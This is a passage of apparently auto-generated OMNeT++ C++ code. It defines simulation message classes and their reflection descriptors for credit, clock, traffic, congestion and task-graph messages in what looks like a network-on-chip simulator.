virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(CreditMsgDescriptor);
CreditMsgDescriptor::CreditMsgDescriptor() : cClassDescriptor("CreditMsg", "cMessage")
{
}
CreditMsgDescriptor::~CreditMsgDescriptor()
{
}
bool CreditMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<CreditMsg *>(obj)!=NULL;
}
const char *CreditMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int CreditMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 2+basedesc->getFieldCount(object) : 2;
}
unsigned int CreditMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<2) ? fieldTypeFlags[field] : 0;
}
const char *CreditMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"numPort",
"numVC",
};
return (field>=0 && field<2) ? fieldNames[field] : NULL;
}
int CreditMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='n' && strcmp(fieldName, "numPort")==0) return base+0;
if (fieldName[0]=='n' && strcmp(fieldName, "numVC")==0) return base+1;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *CreditMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
};
return (field>=0 && field<2) ? fieldTypeStrings[field] : NULL;
}
const char *CreditMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int CreditMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
CreditMsg *pp = (CreditMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string CreditMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
CreditMsg *pp = (CreditMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getNumPort());
case 1: return long2string(pp->getNumVC());
default: return "";
}
}
bool CreditMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
CreditMsg *pp = (CreditMsg *)object; (void)pp;
switch (field) {
case 0: pp->setNumPort(string2long(value)); return true;
case 1: pp->setNumVC(string2long(value)); return true;
default: return false;
}
}
const char *CreditMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *CreditMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
CreditMsg *pp = (CreditMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(ClkMsg);
ClkMsg::ClkMsg(const char *name, int kind) : ::cMessage(name,kind)
{
}
ClkMsg::ClkMsg(const ClkMsg& other) : ::cMessage(other)
{
copy(other);
}
ClkMsg::~ClkMsg()
{
}
ClkMsg& ClkMsg::operator=(const ClkMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void ClkMsg::copy(const ClkMsg& other)
{
}
void ClkMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
}
void ClkMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
}
class ClkMsgDescriptor : public cClassDescriptor
{
public:
ClkMsgDescriptor();
virtual ~ClkMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(ClkMsgDescriptor);
ClkMsgDescriptor::ClkMsgDescriptor() : cClassDescriptor("ClkMsg", "cMessage")
{
}
ClkMsgDescriptor::~ClkMsgDescriptor()
{
}
bool ClkMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<ClkMsg *>(obj)!=NULL;
}
const char *ClkMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int ClkMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 0+basedesc->getFieldCount(object) : 0;
}
unsigned int ClkMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
return 0;
}
const char *ClkMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
int ClkMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *ClkMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
const char *ClkMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int ClkMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
ClkMsg *pp = (ClkMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string ClkMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
ClkMsg *pp = (ClkMsg *)object; (void)pp;
switch (field) {
default: return "";
}
}
bool ClkMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
ClkMsg *pp = (ClkMsg *)object; (void)pp;
switch (field) {
default: return false;
}
}
const char *ClkMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
void *ClkMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
ClkMsg *pp = (ClkMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(TrafficMsg);
TrafficMsg::TrafficMsg(const char *name, int kind) : ::cMessage(name,kind)
{
}
TrafficMsg::TrafficMsg(const TrafficMsg& other) : ::cMessage(other)
{
copy(other);
}
TrafficMsg::~TrafficMsg()
{
}
TrafficMsg& TrafficMsg::operator=(const TrafficMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void TrafficMsg::copy(const TrafficMsg& other)
{
}
void TrafficMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
}
void TrafficMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
}
class TrafficMsgDescriptor : public cClassDescriptor
{
public:
TrafficMsgDescriptor();
virtual ~TrafficMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(TrafficMsgDescriptor);
TrafficMsgDescriptor::TrafficMsgDescriptor() : cClassDescriptor("TrafficMsg", "cMessage")
{
}
TrafficMsgDescriptor::~TrafficMsgDescriptor()
{
}
bool TrafficMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<TrafficMsg *>(obj)!=NULL;
}
const char *TrafficMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int TrafficMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 0+basedesc->getFieldCount(object) : 0;
}
unsigned int TrafficMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
return 0;
}
const char *TrafficMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
int TrafficMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *TrafficMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
const char *TrafficMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int TrafficMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
TrafficMsg *pp = (TrafficMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string TrafficMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
TrafficMsg *pp = (TrafficMsg *)object; (void)pp;
switch (field) {
default: return "";
}
}
bool TrafficMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
TrafficMsg *pp = (TrafficMsg *)object; (void)pp;
switch (field) {
default: return false;
}
}
const char *TrafficMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
void *TrafficMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
TrafficMsg *pp = (TrafficMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(CongestionMsg);
CongestionMsg::CongestionMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->src_var = 0;
this->stressValue_var = 0;
}
CongestionMsg::CongestionMsg(const CongestionMsg& other) : ::cMessage(other)
{
copy(other);
}
CongestionMsg::~CongestionMsg()
{
}
CongestionMsg& CongestionMsg::operator=(const CongestionMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void CongestionMsg::copy(const CongestionMsg& other)
{
this->src_var = other.src_var;
this->stressValue_var = other.stressValue_var;
}
void CongestionMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->src_var);
doPacking(b,this->stressValue_var);
}
void CongestionMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->src_var);
doUnpacking(b,this->stressValue_var);
}
int CongestionMsg::getSrc() const
{
return src_var;
}
void CongestionMsg::setSrc(int src)
{
this->src_var = src;
}
double CongestionMsg::getStressValue() const
{
return stressValue_var;
}
void CongestionMsg::setStressValue(double stressValue)
{
this->stressValue_var = stressValue;
}
class CongestionMsgDescriptor : public cClassDescriptor
{
public:
CongestionMsgDescriptor();
virtual ~CongestionMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(CongestionMsgDescriptor);
CongestionMsgDescriptor::CongestionMsgDescriptor() : cClassDescriptor("CongestionMsg", "cMessage")
{
}
CongestionMsgDescriptor::~CongestionMsgDescriptor()
{
}
bool CongestionMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<CongestionMsg *>(obj)!=NULL;
}
const char *CongestionMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int CongestionMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 2+basedesc->getFieldCount(object) : 2;
}
unsigned int CongestionMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<2) ? fieldTypeFlags[field] : 0;
}
const char *CongestionMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"src",
"stressValue",
};
return (field>=0 && field<2) ? fieldNames[field] : NULL;
}
int CongestionMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='s' && strcmp(fieldName, "src")==0) return base+0;
if (fieldName[0]=='s' && strcmp(fieldName, "stressValue")==0) return base+1;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *CongestionMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"double",
};
return (field>=0 && field<2) ? fieldTypeStrings[field] : NULL;
}
const char *CongestionMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int CongestionMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
CongestionMsg *pp = (CongestionMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string CongestionMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
CongestionMsg *pp = (CongestionMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getSrc());
case 1: return double2string(pp->getStressValue());
default: return "";
}
}
bool CongestionMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
CongestionMsg *pp = (CongestionMsg *)object; (void)pp;
switch (field) {
case 0: pp->setSrc(string2long(value)); return true;
case 1: pp->setStressValue(string2double(value)); return true;
default: return false;
}
}
const char *CongestionMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *CongestionMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
CongestionMsg *pp = (CongestionMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(TaskGraphEventMsg);
TaskGraphEventMsg::TaskGraphEventMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->outport_var = 0;
this->amountData_var = 0;
this->index_var = 0;
}
TaskGraphEventMsg::TaskGraphEventMsg(const TaskGraphEventMsg& other) : ::cMessage(other)
{
copy(other);
}
TaskGraphEventMsg::~TaskGraphEventMsg()
{
}
TaskGraphEventMsg& TaskGraphEventMsg::operator=(const TaskGraphEventMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void TaskGraphEventMsg::copy(const TaskGraphEventMsg& other)
{
this->outport_var = other.outport_var;
this->amountData_var = other.amountData_var;
this->index_var = other.index_var;
}
void TaskGraphEventMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->outport_var);
doPacking(b,this->amountData_var);
doPacking(b,this->index_var);
}
void TaskGraphEventMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->outport_var);
doUnpacking(b,this->amountData_var);
doUnpacking(b,this->index_var);
}
int TaskGraphEventMsg::getOutport() const
{
return outport_var;
}
void TaskGraphEventMsg::setOutport(int outport)
{
this->outport_var = outport;
}
int TaskGraphEventMsg::getAmountData() const
{
return amountData_var;
}
void TaskGraphEventMsg::setAmountData(int amountData)
{
this->amountData_var = amountData;
}
int TaskGraphEventMsg::getIndex() const
{
return index_var;
}
void TaskGraphEventMsg::setIndex(int index)
{
this->index_var = index;
}
class TaskGraphEventMsgDescriptor : public cClassDescriptor
{
public:
TaskGraphEventMsgDescriptor();
virtual ~TaskGraphEventMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(TaskGraphEventMsgDescriptor);
TaskGraphEventMsgDescriptor::TaskGraphEventMsgDescriptor() : cClassDescriptor("TaskGraphEventMsg", "cMessage")
{
}
TaskGraphEventMsgDescriptor::~TaskGraphEventMsgDescriptor()
{
}
bool TaskGraphEventMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<TaskGraphEventMsg *>(obj)!=NULL;
}
const char *TaskGraphEventMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int TaskGraphEventMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 3+basedesc->getFieldCount(object) : 3;
}
unsigned int TaskGraphEventMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<3) ? fieldTypeFlags[field] : 0;
}
const char *TaskGraphEventMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"outport",
"amountData",
"index",
};
return (field>=0 && field<3) ? fieldNames[field] : NULL;
}
int TaskGraphEventMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='o' && strcmp(fieldName, "outport")==0) return base+0;
if (fieldName[0]=='a' && strcmp(fieldName, "amountData")==0) return base+1;
if (fieldName[0]=='i' && strcmp(fieldName, "index")==0) return base+2;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *TaskGraphEventMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
"int",
};
return (field>=0 && field<3) ? fieldTypeStrings[field] : NULL;
}
const char *TaskGraphEventMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int TaskGraphEventMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
TaskGraphEventMsg *pp = (TaskGraphEventMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string TaskGraphEventMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
TaskGraphEventMsg *pp = (TaskGraphEventMsg *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getOutport());
case 1: return long2string(pp->getAmountData());
case 2: return long2string(pp->getIndex());
default: return "";
}
}
bool TaskGraphEventMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
TaskGraphEventMsg *pp = (TaskGraphEventMsg *)object; (void)pp;
switch (field) {
case 0: pp->setOutport(string2long(value)); return true;
case 1: pp->setAmountData(string2long(value)); return true;
case 2: pp->setIndex(string2long(value)); return true;
default: return false;
}
}
const char *TaskGraphEventMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *TaskGraphEventMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
TaskGraphEventMsg *pp = (TaskGraphEventMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(TaskGraphSendTimeMsg);
TaskGraphSendTimeMsg::TaskGraphSendTimeMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->dataAmount_var = 0;
this->destX_var = 0;
this->destY_var = 0;
this->outputPort_var = 0;
}
TaskGraphSendTimeMsg::TaskGraphSendTimeMsg(const TaskGraphSendTimeMsg& other) : ::cMessage(other)
{
copy(other);
}
TaskGraphSendTimeMsg::~TaskGraphSendTimeMsg()
{
}
TaskGraphSendTimeMsg& TaskGraphSendTimeMsg::operator=(const TaskGraphSendTimeMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void TaskGraphSendTimeMsg::copy(const TaskGraphSendTimeMsg& other)
{
this->dataAmount_var = other.dataAmount_var;
this->destX_var = other.destX_var;
this->destY_var = other.destY_var;
this->outputPort_var = other.outputPort_var;
}
void TaskGraphSendTimeMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->dataAmount_var);
doPacking(b,this->destX_var);
doPacking(b,this->destY_var);
doPacking(b,this->outputPort_var);
}
void TaskGraphSendTimeMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->dataAmount_var);
doUnpacking(b,this->destX_var);
doUnpacking(b,this->destY_var);
doUnpacking(b,this->outputPort_var);
}
int TaskGraphSendTimeMsg::getDataAmount() const
{
return dataAmount_var;
}
void TaskGraphSendTimeMsg::setDataAmount(int dataAmount)
{
